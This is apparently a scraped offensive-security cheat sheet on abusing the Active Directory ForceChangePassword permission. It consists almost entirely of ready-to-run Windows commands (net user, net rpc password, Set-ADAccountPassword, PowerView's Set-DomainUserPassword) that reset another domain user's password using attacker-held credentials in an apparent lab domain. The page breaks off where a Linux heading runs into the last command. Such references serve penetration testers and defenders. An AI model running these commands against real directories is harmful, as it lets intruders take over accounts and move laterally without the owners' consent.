ForceChangePassword
Windows
#---------------------#
# Living off the Land #
#---------------------#
# Net
net user bob Passw0rd123! /domain
# Net RPC
net rpc password "bob" "newP@ssword123!" -U "marvel.local"/"x7331"%"Passw0rd123!" -S "dc01.marvel.local"
# AD Module
Set-ADAccountPassword bob -NewPassword $((ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force)) -Reset -Verbose
#-----------#
# PowerView #
#-----------#
# Create a PSCredential object for the current user
$SecPassword = ConvertTo-SecureString 'Passw0rd123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('marvel\x7331', $SecPassword)
# Change the user's password
Set-DomainUserPassword -Identity bob -AccountPassword $((ConvertTo-SecureString 'NewPassw0rd123!' -AsPlainText -Force)) -Credential $Cred -VerboseLinux
Last updated